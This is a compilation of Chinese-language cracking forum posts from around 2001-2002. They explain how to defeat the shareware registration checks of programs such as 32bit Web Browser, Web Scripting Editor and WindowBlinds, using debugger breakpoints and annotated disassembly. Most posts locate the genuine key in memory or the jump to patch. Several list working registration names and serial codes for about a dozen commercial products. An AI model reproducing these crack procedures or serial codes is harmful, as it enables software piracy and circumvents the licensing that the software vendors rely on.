* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10002FFE(C)
|
:10002FF6 8A042A mov al, byte ptr [edx+ebp]
:10002FF9 32D8 xor bl, al
:10002FFB 42 inc edx
:10002FFC 3BD1 cmp edx, ecx
:10002FFE 7CF6 jl 10002FF6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10002FF4(C)
|
:10003000 33F6 xor esi, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10003073(U)
|
:10003002 83FE08 cmp esi, 00000008
:10003005 7C07 jl 1000300E
:10003007 8D0409 lea eax, dword ptr [ecx+ecx]
:1000300A 3BF0 cmp esi, eax
:1000300C 7D67 jge 10003075

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10003005(C)
|
:1000300E 8BFD mov edi, ebp
:10003010 83C9FF or ecx, FFFFFFFF
:10003013 33C0 xor eax, eax
:10003015 F2 repnz
:10003016 AE scasb
:10003017 8BC6 mov eax, esi
:10003019 99 cdq
:1000301A F7D1 not ecx
:1000301C 2BC2 sub eax, edx
:1000301E 49 dec ecx
:1000301F D1F8 sar eax, 1
:10003021 33D2 xor edx, edx
:10003023 F7F1 div ecx
:10003025 83FE01 cmp esi, 00000001
:10003028 8BFA mov edi, edx
:1000302A 7E05 jle 10003031
:1000302C 8D46FF lea eax, dword ptr [esi-01]
:1000302F EB02 jmp 10003033

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000302A(C)
|
:10003031 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000302F(U)
|
:10003033 8A4C0414 mov cl, byte ptr [esp+eax+14]
:10003037 32CB xor cl, bl
:10003039 80F18D xor cl, 8D
:1000303C 8AD9 mov bl, cl
:1000303E 885C2410 mov byte ptr [esp+10], bl
:10003042 8B542410 mov edx, dword ptr [esp+10]
:10003046 52 push edx
:10003047 E8F4FEFFFF call 10002F40
:1000304C 8B4C2440 mov ecx, dword ptr [esp+40]
:10003050 88443418 mov byte ptr [esp+esi+18], al
:10003054 2BCF sub ecx, edi
:10003056 8A5429FF mov dl, byte ptr [ecx+ebp-01]
:1000305A 32D0 xor dl, al
:1000305C 80F2D8 xor dl, D8
:1000305F 52 push edx
:10003060 E8DBFEFFFF call 10002F40
:10003065 8B4C2444 mov ecx, dword ptr [esp+44]
:10003069 83C408 add esp, 00000008
:1000306C 88443415 mov byte ptr [esp+esi+15], al
:10003070 83C602 add esi, 00000002
:10003073 EB8D jmp 10003002
这上面一打断又看不懂了，如果那位大哥看懂了的话，还请和我说说它的算法，让我彻底弄懂一下，先谢谢了！
下面开始将错误的注册码和正确的注册码进行比较：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000300C(C)
|
:10003075 8B742440 mov esi, dword ptr [esp+40]这里是假码
:10003079 8D442414 lea eax, dword ptr [esp+14]这里是真码

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000309F(C)
|
:1000307D 8A10 mov dl, byte ptr [eax]
:1000307F 8A1E mov bl, byte ptr [esi]
:10003081 8ACA mov cl, dl
:10003083 3AD3 cmp dl, bl
:10003085 752D jne 100030B4
:10003087 84C9 test cl, cl
:10003089 7416 je 100030A1
:1000308B 8A5001 mov dl, byte ptr [eax+01]
:1000308E 8A5E01 mov bl, byte ptr [esi+01]
:10003091 8ACA mov cl, dl
:10003093 3AD3 cmp dl, bl
:10003095 751D jne 100030B4
:10003097 83C002 add eax, 00000002
:1000309A 83C602 add esi, 00000002
:1000309D 84C9 test cl, cl
:1000309F 75DC jne 1000307D前两位正确的话，继续比较后面的，挺有意思的:)

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10003089(C)
|
:100030A1 33C0 xor eax, eax
:100030A3 33C9 xor ecx, ecx
:100030A5 85C0 test eax, eax
:100030A7 5E pop esi
:100030A8 5B pop ebx
:100030A9 0F94C1 sete cl
:100030AC 5F pop edi
:100030AD 8BC1 mov eax, ecx
:100030AF 5D pop ebp
:100030B0 83C428 add esp, 00000028
:100030B3 C3 ret

大概就这么些吧，最后整理一下我的注册信息：
注册名：Turkey
注册码：GHFwZETtIJRP

哈哈，可以收工了，比较简单，对于我来说，实在是个练手的好东东。因为半个月前，我还只会爆破它，且爆破的不完全，这下终于搞定了，好开心啊，真是没有白来看雪的论坛，真心希望它能越办越好，越办越火。
哦，忘了写软件的下载地址了，加上：
http://turkey.363.net/palplaza/download/ddr.zip


Web Browser w9.37.01

 标 题:不厌其烦，再来一篇！包括很多哦！ (13千字)
发信人:eryl
时 间:2002-1-6 22:51:36
详细信息:
本来是想着用KEYMAKE来学着做注册机，就破了这个软件。可惜还是不行！只有另外再找了：《

软件：32bit Web Browser w9.37.01
下载地址：http://www.downme.com/index2.html
软件名称：32bit Web Browser w9.37.01
软件简介：是一个简单易用、快速小巧的浏览器。它使用了 IE 的内核，但速度比 IE 要快得多，是我见过的使用 IE 内核中速度最快的浏览器。它有自己的“智慧”书签，可以导入 IE 和 Netscape 的书签，带有多种搜索引擎。
操作系统：Windows 95/98/Me/NT/2000/XP 软件大小：297KB 软件分类：主页浏览

工具：trw2000
过程：
下命令：bpx hmemcpy
然后，bc *;
按 f12 ten times,then go to this address:

016F:00413748 6A51 PUSH BYTE +51
016F:0041374A 68143A4700 PUSH DWORD 00473A14
016F:0041374F 6829040000 PUSH DWORD 0429
016F:00413754 B9A8314700 MOV ECX,004731A8
016F:00413759 E8C9FD0100 CALL 00433527
016F:0041375E A124564700 MOV EAX,[00475624]
016F:00413763 6A01 PUSH BYTE +01
016F:00413765 68143A4700 PUSH DWORD 00473A14……取名字
016F:0041376A 50 PUSH EAX……位数
016F:0041376B E8601A0000 CALL 004151D0
016F:00413770 8B2D04C54300 MOV EBP,[0043C504]
016F:00413776 83C40C ADD ESP,BYTE +0C
016F:00413779 33DB XOR EBX,EBX
016F:0041377B 83F801 CMP EAX,BYTE +01
016F:0041377E 7465 JZ 004137E5……要跳！
016F:00413780 68EC894400 PUSH DWORD 004489EC
016F:00413785 68680E4500 PUSH DWORD 00450E68
016F:0041378A 68604B4700 PUSH DWORD 00474B60
016F:0041378F FFD5 CALL EBP
016F:00413791 BFA4F94400 MOV EDI,0044F9A4
016F:00413796 83C9FF OR ECX,BYTE -01
016F:00413799 33C0 XOR EAX,EAX
016F:0041379B 881D403B4700 MOV [00473B40],BL
016F:004137A1 F2AE REPNE SCASB
016F:004137A3 F7D1 NOT ECX
016F:004137A5 2BF9 SUB EDI,ECX
016F:004137A7 6850F74400 PUSH DWORD 0044F750
016F:004137AC 8BD1 MOV EDX,ECX
016F:004137AE 8BF7 MOV ESI,EDI
016F:004137B0 BF503B4700 MOV EDI,00473B50
016F:004137B5 68143A4700 PUSH DWORD 00473A14
016F:004137BA C1E902 SHR ECX,02
016F:004137BD F3A5 REP MOVSD
016F:004137BF 8BCA MOV ECX,EDX
016F:004137C1 83E103 AND ECX,BYTE +03
016F:004137C4 F3A4 REP MOVSB
016F:004137C6 E825FAFFFF CALL 004131F0
016F:004137CB A124564700 MOV EAX,[00475624]
016F:004137D0 6A01 PUSH BYTE +01
016F:004137D2 68143A4700 PUSH DWORD 00473A14
016F:004137D7 50 PUSH EAX
016F:004137D8 E8F3190000 CALL 004151D0
016F:004137DD 83C420 ADD ESP,BYTE +20
016F:004137E0 83F801 CMP EAX,BYTE +01
016F:004137E3 759B JNZ 00413780
016F:004137E5 6A51 PUSH BYTE +51
016F:004137E7 6874534700 PUSH DWORD 00475374
016F:004137EC 682A040000 PUSH DWORD 042A
016F:004137F1 B9A8314700 MOV ECX,004731A8
016F:004137F6 E82CFD0100 CALL 00433527
016F:004137FB 8B0D24564700 MOV ECX,[00475624]……取邮件地址
016F:00413801 6A01 PUSH BYTE +01
016F:00413803 6874534700 PUSH DWORD 00475374
016F:00413808 51 PUSH ECX
016F:00413809 E8521A0000 CALL 00415260
016F:0041380E 83C40C ADD ESP,BYTE +0C
016F:00413811 83F801 CMP EAX,BYTE +01
016F:00413814 7465 JZ 0041387B……要跳！
016F:00413816 68EC894400 PUSH DWORD 004489EC
016F:0041381B 682C0E4500 PUSH DWORD 00450E2C
016F:00413820 68604B4700 PUSH DWORD 00474B60
016F:00413825 FFD5 CALL EBP
016F:00413827 BFA4F94400 MOV EDI,0044F9A4
016F:0041382C 83C9FF OR ECX,BYTE -01
016F:0041382F 33C0 XOR EAX,EAX
016F:00413831 881D403B4700 MOV [00473B40],BL
016F:00413837 F2AE REPNE SCASB
016F:00413839 F7D1 NOT ECX
016F:0041383B 2BF9 SUB EDI,ECX
016F:0041383D 6878F84400 PUSH DWORD 0044F878
016F:00413842 8BD1 MOV EDX,ECX
016F:00413844 8BF7 MOV ESI,EDI
016F:00413846 BF503B4700 MOV EDI,00473B50
016F:0041384B 6874534700 PUSH DWORD 00475374
016F:00413850 C1E902 SHR ECX,02
016F:00413853 F3A5 REP MOVSD
016F:00413855 8BCA MOV ECX,EDX
016F:00413857 83E103 AND ECX,BYTE +03
016F:0041385A F3A4 REP MOVSB
016F:0041385C E88FF9FFFF CALL 004131F0
016F:00413861 A124564700 MOV EAX,[00475624]
016F:00413866 6A01 PUSH BYTE +01
016F:00413868 6874534700 PUSH DWORD 00475374
016F:0041386D 50 PUSH EAX
016F:0041386E E8ED190000 CALL 00415260
016F:00413873 83C420 ADD ESP,BYTE +20
016F:00413876 83F801 CMP EAX,BYTE +01
016F:00413879 759B JNZ 00413816
016F:0041387B 53 PUSH EBX
016F:0041387C 6A01 PUSH BYTE +01
016F:0041387E E80DE9FFFF CALL 00412190
016F:00413883 83C408 ADD ESP,BYTE +08
016F:00413886 B908000000 MOV ECX,08
016F:0041388B 33C0 XOR EAX,EAX
016F:0041388D BF08524700 MOV EDI,00475208 ……注册码取反
016F:00413892 F3AB REP STOSD
016F:00413894 6A20 PUSH BYTE +20
016F:00413896 6808524700 PUSH DWORD 00475208
016F:0041389B 6828040000 PUSH DWORD 0428
016F:004138A0 B9A8314700 MOV ECX,004731A8
016F:004138A5 E87DFC0100 CALL 00433527……调用注册码
016F:004138AA B940000000 MOV ECX,40
016F:004138AF 33C0 XOR EAX,EAX
016F:004138B1 BFE84C4700 MOV EDI,00474CE8……d 00474ce8 得注册码！
016F:004138B6 68E84C4700 PUSH DWORD 00474CE8
016F:004138BB 68EC894400 PUSH DWORD 004489EC
016F:004138C0 68143A4700 PUSH DWORD 00473A14
016F:004138C5 F3AB REP STOSD
016F:004138C7 E894EBFFFF CALL 00412460
016F:004138CC 68E84C4700 PUSH DWORD 00474CE8
016F:004138D1 E84AEBFFFF CALL 00412420
016F:004138D6 6808524700 PUSH DWORD 00475208
016F:004138DB E840EBFFFF CALL 00412420
016F:004138E0 BFE84C4700 MOV EDI,00474CE8
016F:004138E5 83C9FF OR ECX,BYTE -01
016F:004138E8 33C0 XOR EAX,EAX
016F:004138EA 83C414 ADD ESP,BYTE +14
016F:004138ED F2AE REPNE SCASB
016F:004138EF F7D1 NOT ECX
016F:004138F1 49 DEC ECX
016F:004138F2 BFE84C4700 MOV EDI,00474CE8
016F:004138F7 BE08524700 MOV ESI,00475208
016F:004138FC 33D2 XOR EDX,EDX
016F:004138FE F3A6 REPE CMPSB
016F:00413900 5D POP EBP
016F:00413901 0F85B2000000 JNZ NEAR 004139B9……此处不能跳！
016F:00413907 BFE84C4700 MOV EDI,00474CE8
016F:0041390C 83C9FF OR ECX,BYTE -01
016F:0041390F F2AE REPNE SCASB
016F:00413911 F7D1 NOT ECX
016F:00413913 49 DEC ECX
016F:00413914 BF08524700 MOV EDI,00475208
016F:00413919 8BD1 MOV EDX,ECX
016F:0041391B 83C9FF OR ECX,BYTE -01
016F:0041391E F2AE REPNE SCASB
016F:00413920 F7D1 NOT ECX
016F:00413922 49 DEC ECX
016F:00413923 3BCA CMP ECX,EDX……比较注册码位数是否为12
016F:00413925 0F858E000000 JNZ NEAR 004139B9……否则跳转！
016F:0041392B BF08524700 MOV EDI,00475208
016F:00413930 83C9FF OR ECX,BYTE -01
016F:00413933 F2AE REPNE SCASB
016F:00413935 F7D1 NOT ECX
016F:00413937 2BF9 SUB EDI,ECX
016F:00413939 68F0884400 PUSH DWORD 004488F0
016F:0041393E 8BC1 MOV EAX,ECX
016F:00413940 8BF7 MOV ESI,EDI
016F:00413942 BFBC044500 MOV EDI,004504BC
016F:00413947 68BC044500 PUSH DWORD 004504BC
016F:0041394C C1E902 SHR ECX,02
016F:0041394F F3A5 REP MOVSD
016F:00413951 8BC8 MOV ECX,EAX
016F:00413953 68F0F94400 PUSH DWORD 0044F9F0
016F:00413958 83E103 AND ECX,BYTE +03
016F:0041395B 6800894400 PUSH DWORD 00448900
016F:00413960 F3A4 REP MOVSB
016F:00413962 C705345647000100+MOV DWORD [00475634],01
016F:0041396C FF1510C24300 CALL `KERNEL32!WritePrivateProfileStringA`……写注册表
016F:00413972 68EC894400 PUSH DWORD 004489EC
016F:00413977 6840FA4400 PUSH DWORD 0044FA40
016F:0041397C 68240E4500 PUSH DWORD 00450E24
016F:00413981 6810324700 PUSH DWORD 00473210……此处为注册码。
016F:00413986 E8C7C50000 CALL 0041FF52
016F:0041398B 83C410 ADD ESP,BYTE +10
016F:0041398E B9A8314700 MOV ECX,004731A8
016F:00413993 6A40 PUSH BYTE +40
016F:00413995 68EC894400 PUSH DWORD 004489EC
016F:0041399A 6810324700 PUSH DWORD 00473210
016F:0041399F E838EA0100 CALL 004323DC
016F:004139A4 B9A8314700 MOV ECX,004731A8
016F:004139A9 891DD8554700 MOV [004755D8],EBX
016F:004139AF E83BCE0100 CALL 004307EF
016F:004139B4 E9ED010000 JMP 00413BA6
016F:004139B9 6A0A PUSH BYTE +0A
016F:004139BB 6808524700 PUSH DWORD 00475208
016F:004139C0 6828040000 PUSH DWORD 0428
016F:004139C5 B9A8314700 MOV ECX,004731A8
016F:004139CA E858FB0100 CALL 00433527
016F:004139CF 6808524700 PUSH DWORD 00475208
016F:004139D4 E827F6FFFF CALL 00413000
016F:004139D9 83C404 ADD ESP,BYTE +04
016F:004139DC 3BC3 CMP EAX,EBX
016F:004139DE A3882C4700 MOV [00472C88],EAX
016F:004139E3 0F8EA9010000 JNG NEAR 00413B92
016F:004139E9 68F0884400 PUSH DWORD 004488F0
016F:004139EE 6800080000 PUSH DWORD 0800
016F:004139F3 6810324700 PUSH DWORD 00473210
016F:004139F8 B900020000 MOV ECX,0200
016F:004139FD 33C0 XOR EAX,EAX
016F:004139FF BF10324700 MOV EDI,00473210
016F:00413A04 68C0484500 PUSH DWORD 004548C0
016F:00413A09 6804FA4400 PUSH DWORD 0044FA04
016F:00413A0E F3AB REP STOSD
016F:00413A10 6800894400 PUSH DWORD 00448900
016F:00413A15 FF1514C24300 CALL `KERNEL32!GetPrivateProfileStringA`
016F:00413A1B 6810324700 PUSH DWORD 00473210
016F:00413A20 E8DBF5FFFF CALL 00413000
016F:00413A25 83C404 ADD ESP,BYTE +04
016F:00413A28 85C0 TEST EAX,EAX
016F:00413A2A 0F85A7000000 JNZ NEAR 00413AD7
016F:00413A30 BF08524700 MOV EDI,00475208
016F:00413A35 83C9FF OR ECX,BYTE -01
016F:00413A38 F2AE REPNE SCASB

我已经破了这个公司的四个软件了。都还比较容易。是新手练习的好东西。
这次的结果：
NAME:eryl
email:eryl@263.net
reg code: 303439363D35

另附上另外三个结果：
软件：32bit Email Broadcaster v.e9.28.17 VE2.29.01
name: eryl
email: eryl@263.net
reg code: 30353A393938
软件类别：邮件处理 运行平台：Windows95/98/Me/NT/2
授权形式：共享软件
版本：e9.29.01 汉化作者：星风雪 上传日期：2001-5-8
软件评级：
一个简单易用而又强有力的电子邮件群发程序.它既可以用于商业应用也可以用于个人应用.对于那些需要发送新闻,通知,广告的人来说十分有用.您可以使用它轻松的将您的讯息发送给给地址列表中的每一个人,可以是一个人乃至成千上万个收件人.当您批量发送邮件时,不会加上额外的CC头信息和广告头信息.它也可以发送HTML格式的信件.在9.29.01版本中加入了自动插入合并域的重要新特性.

软件：Multi Clipboard m9.37.01
Multi ClipBoard m9.37.1
软件简介：Multi ClipBoard 是一个很不错的剪贴簿工具，它可以存 33 个文件或者计划，还可自行编辑按钮字串，并支持多种数据库，这样你就可以将不同的数据，放到你的计划书里。未注册的，会限功能。
操作系统：Windows 95/98/NT/2000 软件大小：253KB 软件分类：剪贴工具

name:eryl
email:eryl@263.net
reg code: 303438373935

32BIT FTP p9.36.18
name:luomin
email: eryl@263.net
reg code:303337393B36

再附上几个软件的破解：

PAC MANIA 3D V1。8
NAME：ERYL
REG CODE：15863271488901372069
软件类别：娱乐游戏
运行平台：Win9x&Me&NT&2000
授权形式：共享软件
上传日期：2001-5-2
软件评

PacMania 3D是适用于Windows操作系统的类似于大型游艺机上的Pac-Man的游戏.与以往同类游戏的最大不同在于PacMania 3D是全三维的游戏.不仅场景是巨大的三维图形,而且您自己本身也需要以三维方式进行游戏.更为吸引人的是,以往的Pac-Man类游戏都只能在一个迷宫中移动,PacMania 3D却可以让您在游戏进行过程中在多个迷宫之间穿行,从而获得不同凡响的游戏乐趣.当然这在增加了刺激性的同时,也需要您更为高超的控制技术.PacMania 3D在让您重温儿时时光的同时,为您带来了崭新的视觉体验.

WINXFILES V5。1
NAME：ERICLUOM
REG CODE：ZNEGKQTTXYWQQYC，OR PVUPUSXUSQTMYLZ
这个软件其实也很有意思的。
他的注册名要大于5，这册号为十五位。
如果不满足条件，确认后就清除输入的内容。但当你输入的注册名小于7位时，你破解得来的是假的注册码。

年后开始学VB，希望很快能做个像样的KEYGEN.


Web Scripting Editor V2.4

 标 题:静动两把刀，破解省时又省力 (4千字)
发信人:wlq joseph
时 间:2001-10-2 2:59:40
详细信息:
软件：Web Scripting Editor V2.4
工具：Wdasm89和Trw2000
作者：wlq

心得体会：先用静态工具wdasm89的字符串参考可以快速找到注册码的准确位置，

然后用动态工具trw2000设断点追注册码，真的省时又省力。

破解过程：

1.
运行Web Scripting Editor V2.4，填写Registration的三项内容：
key:00000000 Name:wlq Company Name:104

接着单击"Enter key".

2.
弹出如下提示框：
“You have entered the wrong registration key

Please make sure that you enter the key correctly”

3.
启动Wdasm89装载Web Scripting Editor V2.4, 点击Refs--String Data Reference,
找到"You have entered the wrong registration" ，双击之，看到以下内容：

*****************************************************************************
* Possible StringData Ref from Data Obj ->"You have entered the wrong registration "
->"key
Please make sure that you "
->"enter the key correctly"
|
:0041192D BA01964700 mov edx, 00479601
:00411932 8D45D4 lea eax, dword ptr [ebp-2C]
:00411935 E832040200 call 00431D6C
:0041193A FF45CC inc [ebp-34]
:0041193D 8B00 mov eax, dword ptr [eax]
:0041193F E850030200 call 00431C94
:00411944 FF4DCC dec [ebp-34]
:00411947 8D45D4 lea eax, dword ptr [ebp-2C]
:0041194A BA02000000 mov edx, 00000002
:0041194F E878060200 call 00431FCC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00411925(C)
|
:00411954 8B4DB0 mov ecx, dword ptr [ebp-50]
:00411957 64890D00000000 mov dword ptr fs:[00000000], ecx
:0041195E 5B pop ebx
:0041195F 8BE5 mov esp, ebp
:00411961 5D pop ebp
:00411962 C3 ret

****************************************************************************
4。
往上看，来到：

* Possible StringData Ref from Data Obj ->"BRG149BLUE"
|
:004118E8 BAF6954700 mov edx, 004795F6
:004118ED 8D45D8 lea eax, dword ptr [ebp-28]
:004118F0 E877040200 call 00431D6C
:004118F5 FF45CC inc [ebp-34]
:004118F8 8D55D8 lea edx, dword ptr [ebp-28]
:004118FB 58 pop eax
:004118FC E8C1070200 call 004320C2
:00411901 50 push eax
:00411902 FF4DCC dec [ebp-34]
:00411905 8D45D8 lea eax, dword ptr [ebp-28]
:00411908 BA02000000 mov edx, 00000002
:0041190D E8BA060200 call 00431FCC
^^^^^^^^^^ ^^^^^^^^^^^^^^^^^
:00411912 FF4DCC dec [ebp-34]
:00411915 8D45DC lea eax, dword ptr [ebp-24]
:00411918 BA02000000 mov edx, 00000002
:0041191D E8AA060200 call 00431FCC
^^^^^^^^^ ^^^^^^^^^^^^^^^^
:00411922 59 pop ecx
:00411923 84C9 test cl, cl
:00411925 742D je 00411954 (此处可跳过 上面弹出错误注册码提示框的那段程序）
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:00411927 66C745C06800 mov [ebp-40], 0068

判断上面两处call 00431FCC 肯定是关键call：

:0041190D E8BA060200 call 00431FCC

:0041191D E8AA060200 call 00431FCC

5.
启动Trw2000,填写Registration的三项内容：key:00000000 Name:wlq Company Name:24
6.
BPX 0041190D，F5，接着单击"Enter key".
7.
bc *
8.
:0041190D E8BA060200 call 00431FCC ---------- ( 按F8进入call)

9.
:00431FCC 55 push ebp

:00431FE0 E8F7250200 call 004545DC -----------(再按F8进入call)
10.
:004545DC 8B10 mov edx, [eax]
:004545DE 85D2 test edx, edx ---------- 下d edx， 得到注册码。
:004545E0 7419 je 004545FB

11.
总结：key:BRG149BLUE Name:wlq Company Name:104
姓名和公司名与注册码无关。


WindowBlinds v3.0 enhanced

 标 题:WindowBlinds v3.0 enhanced 破解 (17千字)
发信人:fwnl
时 间:2002-2-28 11:03:01
详细信息:
WindowBlinds v3.0 enhanced 破解
Crack by fwnl
软件简介:
WindowBlinds 除了可以让你使用 BMP 图形作为程序的背景底图之外，它还
可让你 Windows 中的所有程序的窗口标题栏变成麦金塔电脑 Mac OS8 或是
BeOS 的样子，而你也可以将 Windows 95 的窗口标题栏弄成像Windows 98 一
样渐层显示，渐层的颜色还可以自订，标题条的文字可让你放在中间而不是预
设的左边。另外各位可以发现现在一般的新软件，其工具条的按钮形式都已改
成「浮动式」的，也就是当鼠标移到按钮上时它会浮起来，比较美观而且有立
体感，但仍能有一些软件(如 ACDSee、NetTerm)依旧是旧式的按钮形式，你只
要用这个软件就够将它们都改成「浮动式」的按钮喔！其他还有许多功能，譬
如可让桌面图标的文字底色变成透明......等等，在此不多叙述，各位自己抓
回来玩看看吧！

增强版支持注册用户下的所有完整功能! 可以修改 Windows 的窗体风格,
更显个性化的一面.可以下载安装更多的面板, 就像 Winamp 一样, 给窗口换
面板界面. 而且有的风格窗口还多了特别的功能(比如保留菜单条缩放功能)...
可以替换复选框/单选框/进度条/标签条/滚动条等等, 在 Windows 环境下,
也能见到 Mac机的界面啦! 新的 3.0 版本添加了对 XP 的进一步特殊效果支
持, 以及菜单背景面板和状态栏背景功能(需要面板支持)。
官方主页: http://www.stardock.com/
原版软件: http://202.96.84.135/skipli/chinese/
fo-wb30e.zip (1836k)
汉化补丁: http://202.96.84.135/skipli/chinese/
HBC-WindowBlinds30e-Fire.zip (361k)
破解工具: trw2000

trw2000载入程序wbload.exe后，填入注册名(不少于5位)注册码(必须是WB-XXXXXXX的形式)，Ctrl+N然后 bpx hmemcpy. f12数下来到

0167:0040EE87 68ACA54000 PUSH 0040A5AC // d 40a5ac 得WB-
0167:0040EE8C FF30 PUSH DWORD PTR [EAX]
0167:0040EE8E E83D7F0000 CALL 00416DD0
0167:0040EE93 59 POP ECX
0167:0040EE94 59 POP ECX
0167:0040EE95 85C0 TEST EAX,EAX
0167:0040EE97 8D4DE8 LEA ECX,[EBP-18]
0167:0040EE9A 0F95C3 SETNZ BL
0167:0040EE9D E8788E0100 CALL 00427D1A
0167:0040EEA2 84DB TEST BL,BL
0167:0040EEA4 744D JZ 0040EEF3 //前3是WB-就跳,
0167:0040EEA6 51 PUSH ECX
0167:0040EEA7 8BCC MOV ECX,ESP
0167:0040EEA9 8965E4 MOV [EBP-1C],ESP
0167:0040EEAC 57 PUSH EDI
0167:0040EEAD E8DD8B0100 CALL 00427A8F
0167:0040EEB2 E8B61A0000 CALL 0041096D
0167:0040EEB7 85C0 TEST EAX,EAX
0167:0040EEB9 749E JZ 0040EE59 //一定不能跳，所以注册码前3位必为Wb-
0167:0040EEBB B8A4A54000 MOV EAX,0040A5A4
0167:0040EEC0 6A40 PUSH 40
0167:0040EEC2 50 PUSH EAX
0167:0040EEC3 686CA54000 PUSH 0040A56C
0167:0040EEC8 50 PUSH EAX
0167:0040EEC9 68B0A54000 PUSH 0040A5B0
0167:0040EECE E854FEFFFF CALL 0040ED27
0167:0040EED3 50 PUSH EAX
0167:0040EED4 8BCE MOV ECX,ESI
0167:0040EED6 E808640100 CALL 004252E3
0167:0040EEDB 6A40 PUSH 40
0167:0040EEDD 684CA54000 PUSH 0040A54C
0167:0040EEE2 68C4A44000 PUSH 0040A4C4
0167:0040EEE7 8BCE MOV ECX,ESI
0167:0040EEE9 E8F5630100 CALL 004252E3
0167:0040EEEE E989030000 JMP 0040F27C
0167:0040EEF3 8D85B4FEFFFF LEA EAX,[EBP-014C]
0167:0040EEF9 68C0A44000 PUSH 0040A4C0
0167:0040EEFE 50 PUSH EAX
0167:0040EEFF E84C7D0000 CALL 00416C50
0167:0040EF04 FF765C PUSH DWORD PTR [ESI+5C]
0167:0040EF07 8D85B4FEFFFF LEA EAX,[EBP-014C]
0167:0040EF0D 50 PUSH EAX
0167:0040EF0E E84D7D0000 CALL 00416C60
0167:0040EF13 8B465C MOV EAX,[ESI+5C]
0167:0040EF16 33DB XOR EBX,EBX
0167:0040EF18 83C410 ADD ESP,10
0167:0040EF1B 895DD8 MOV [EBP-28],EBX
0167:0040EF1E 3958F8 CMP [EAX-08],EBX
0167:0040EF21 0F8E9A000000 JLE 0040EFC1
0167:0040EF27 8D85B4FEFFFF LEA EAX,[EBP-014C]
0167:0040EF2D C745F001000000 MOV DWORD PTR [EBP-10],00000001
0167:0040EF34 2945F0 SUB [EBP-10],EAX
0167:0040EF37 DD45D0 FLD REAL8 PTR [EBP-30]
0167:0040EF3A E875750000 CALL 004164B4
0167:0040EF3F 50 PUSH EAX
0167:0040EF40 E8767E0000 CALL 00416DBB
0167:0040EF45 8945E8 MOV [EBP-18],EAX
0167:0040EF48 8B465C MOV EAX,[ESI+5C]
0167:0040EF4B 0FB6941DB4FEFFFF MOVZX EDX,BYTE PTR [EBX+EBP-014C]
0167:0040EF53 DB45E8 FILD DWORD PTR [EBP-18]
0167:0040EF56 59 POP ECX
0167:0040EF57 8955E8 MOV [EBP-18],EDX
0167:0040EF5A 8B48F8 MOV ECX,[EAX-08]
0167:0040EF5D 8D841DB4FEFFFF LEA EAX,[EBX+EBP-014C]
0167:0040EF64 8B55F0 MOV EDX,[EBP-10]
0167:0040EF67 894DE4 MOV [EBP-1C],ECX
0167:0040EF6A 03D0 ADD EDX,EAX
0167:0040EF6C 8B45E8 MOV EAX,[EBP-18]
0167:0040EF6F 8955D4 MOV [EBP-2C],EDX
0167:0040EF72 99 CDQ
0167:0040EF73 DB45D4 FILD DWORD PTR [EBP-2C]
0167:0040EF76 F7F9 IDIV ECX
0167:0040EF78 DC0D481E4000 FMUL REAL8 PTR [00401E48]
0167:0040EF7E DA65D8 FISUB DWORD PTR [EBP-28]
0167:0040EF81 B9FF000000 MOV ECX,000000FF
0167:0040EF86 0FB68415B4FEFFFF MOVZX EAX,BYTE PTR [EDX+EBP-014C]
0167:0040EF8E 0FAFC3 IMUL EAX,EBX
0167:0040EF91 8945D4 MOV [EBP-2C],EAX
0167:0040EF94 8B45E8 MOV EAX,[EBP-18]
0167:0040EF97 99 CDQ
0167:0040EF98 DB45D4 FILD DWORD PTR [EBP-2C]
0167:0040EF9B F7F9 IDIV ECX
0167:0040EF9D DEC9 FMULP ST(1),ST
0167:0040EF9F 43 INC EBX
0167:0040EFA0 3B5DE4 CMP EBX,[EBP-1C]
0167:0040EFA3 895DD8 MOV [EBP-28],EBX
0167:0040EFA6 8945D4 MOV [EBP-2C],EAX
0167:0040EFA9 DB45D4 FILD DWORD PTR [EBP-2C]
0167:0040EFAC DEC1 FADDP ST(1),ST
0167:0040EFAE DC05401E4000 FADD REAL8 PTR [00401E40]
0167:0040EFB4 D8C9 FMUL ST,ST(1)
0167:0040EFB6 DD5DD0 FSTP REAL8 PTR [EBP-30]
0167:0040EFB9 DDD8 FSTP ST(0)
0167:0040EFBB 0F8C76FFFFFF JL 0040EF37
0167:0040EFC1 DD45D0 FLD REAL8 PTR [EBP-30]
0167:0040EFC4 E8EB740000 CALL 004164B4
0167:0040EFC9 50 PUSH EAX
0167:0040EFCA E8EC7D0000 CALL 00416DBB
0167:0040EFCF 8945E4 MOV [EBP-1C],EAX
0167:0040EFD2 8B465C MOV EAX,[ESI+5C]
0167:0040EFD5 DB45E4 FILD DWORD PTR [EBP-1C]
0167:0040EFD8 8B40F8 MOV EAX,[EAX-08]
0167:0040EFDB 59 POP ECX
0167:0040EFDC 83F808 CMP EAX,08
0167:0040EFDF 7D04 JGE 0040EFE5
0167:0040EFE1 B00E MOV AL,0E
0167:0040EFE3 EB0B JMP 0040EFF0
0167:0040EFE5 83F81F CMP EAX,1F
0167:0040EFE8 7D04 JGE 0040EFEE
0167:0040EFEA 0406 ADD AL,06
0167:0040EFEC EB02 JMP 0040EFF0
0167:0040EFEE B017 MOV AL,17
0167:0040EFF0 0FB6C0 MOVZX EAX,AL
0167:0040EFF3 50 PUSH EAX
0167:0040EFF4 8D85B4FEFFFF LEA EAX,[EBP-014C]
0167:0040EFFA 50 PUSH EAX
0167:0040EFFB E8B4740000 CALL 004164B4
0167:0040F000 50 PUSH EAX
0167:0040F001 E85C2E0100 CALL 00421E62
0167:0040F006 83C40C ADD ESP,0C
0167:0040F009 8D4DEC LEA ECX,[EBP-14]
0167:0040F00C 68ACA54000 PUSH 0040A5AC
0167:0040F011 E8418E0100 CALL 00427E57
0167:0040F016 A158C04000 MOV EAX,[0040C058]
0167:0040F01B 8D4DF0 LEA ECX,[EBP-10]
